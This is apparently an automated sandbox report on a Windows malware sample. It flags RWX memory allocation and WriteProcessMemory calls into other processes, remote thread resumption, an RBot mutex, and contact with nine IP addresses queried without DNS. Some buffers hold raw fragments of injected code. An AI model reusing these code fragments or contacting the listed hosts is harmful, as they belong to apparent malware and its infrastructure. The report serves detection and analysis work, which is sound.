NtTerminateProcess Aug. 18, 2021, 6:32 p.m.	status_code: 0x00000000 process_identifier: 2208 process_handle: 0x00000118
NtTerminateProcess Aug. 18, 2021, 6:32 p.m.	status_code: 0x00000000 process_identifier: 2208 process_handle: 0x00000118	1
NtTerminateProcess Aug. 18, 2021, 6:27 p.m.	status_code: 0x00000000 process_identifier: 1080 process_handle: 0x000000000000019c
NtTerminateProcess Aug. 18, 2021, 6:27 p.m.	status_code: 0x00000000 process_identifier: 1080 process_handle: 0x000000000000019c	1
NtTerminateProcess Aug. 18, 2021, 6:27 p.m.	status_code: 0x00000000 process_identifier: 276 process_handle: 0x0000000000000440
NtTerminateProcess Aug. 18, 2021, 6:27 p.m.	status_code: 0x00000000 process_identifier: 276 process_handle: 0x0000000000000440	1
NtTerminateProcess Aug. 18, 2021, 6:27 p.m.	status_code: 0x00000000 process_identifier: 2392 process_handle: 0x0000000000000440
NtTerminateProcess Aug. 18, 2021, 6:27 p.m.	status_code: 0x00000000 process_identifier: 2392 process_handle: 0x0000000000000440	1

Communicates with host for which no DNS query was performed (9 events)

host	105.27.205.34
host	179.189.229.254
host	221.147.172.5
host	24.162.214.166
host	46.99.175.217
host	5.152.175.57
host	60.51.47.65
host	65.152.201.203
host	79.106.115.107

Allocates execute permission to another process indicative of possible code injection (50 out of 717 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000090000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000000a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 774144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000180000000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1
NtAllocateVirtualMemory Aug. 18, 2021, 6:26 p.m.	process_identifier: 2988 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000000003ec	1

Potential code injection by writing to the memory of another process (50 out of 1072 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: UAVVWSHì`Hl$`HäðHùë0H¨ÇGXHOÿW0HHWA¸ÿÿÿÿE3ÉÿWkGX D$\D$\ø uWHw`HkFHD$PHD$PH=u\HFHLV@L^8H^0LN(LF HNHVHD$8LT$0L\$(H\$ ëpD$\øÅ3Àé\ÿÿÿHD$PH=«uPHFPH^HLV@L^8Lv0LN(LF HNHVHD$@H\$8LT$0L\$(Lt$ ÿH ¸éóþÿÿH\|$PtHD$PHø9uLF HNHVÿëÌÿëÈHD$PHøuHNÿëµHD$PHø&GÿÿÿHNHVÿëHÇ¨HHWE3ÀE3ÉÿWHÿW(HÇHOÿW(HÇG3ÉÿW83ÀHå[_^A^]ÃÌÌÌÌÌÌUVHì(Hl$ HäðHuPHöt@HEHM@HVpLFxLÉHHH¶HNÿV0HNºÿÿÿÿÿV He^]Ã base_address: 0x0000000000090000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: H¹ H¸ ÿà base_address: 0x00000000ff42246c process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: VERSION.dll base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: o!w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetFileVersionInfoA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"wìüþ base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: VerQueryValueA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"wìüþ base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetFileVersionInfoSizeA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"wìüþ base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: KERNEL32.dll base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: o!w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetLastError base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: HeapFree base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: HeapSize base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: HeapReAlloc base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: HeapAlloc base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: GetProcessHeap base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: lstrlenA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: lstrcpyA base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: EnterCriticalSection base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: LeaveCriticalSection base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: ,'w +"w/"w Ù wð@wÀ/w0ww' base_address: 0x00000000000a0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: InitializeCriticalSection base_address: 0x00000000001e0000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1
WriteProcessMemory Aug. 18, 2021, 6:26 p.m.	buffer: 6"w w base_address: 0x0000000000270000 process_identifier: 2988 process_handle: 0x00000000000003ec	1	1

Creates known RBot files, registry keys and/or mutexes (1 event)

mutex

Global\{DA3B8E0E-BB12-30B1-9A53-9CDC805AAFF7}

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1312 resumed a thread in remote process 2988
Process injection	Process 1312 resumed a thread in remote process 928
Process injection	Process 1312 resumed a thread in remote process 1600
NtResumeThread Aug. 18, 2021, 6:26 p.m.	thread_handle: 0x00000000000003f0 suspend_count: 1 process_identifier: 2988	1	0	0
NtResumeThread Aug. 18, 2021, 6:27 p.m.	thread_handle: 0x00000000000002b0 suspend_count: 1 process_identifier: 928	1	0	0
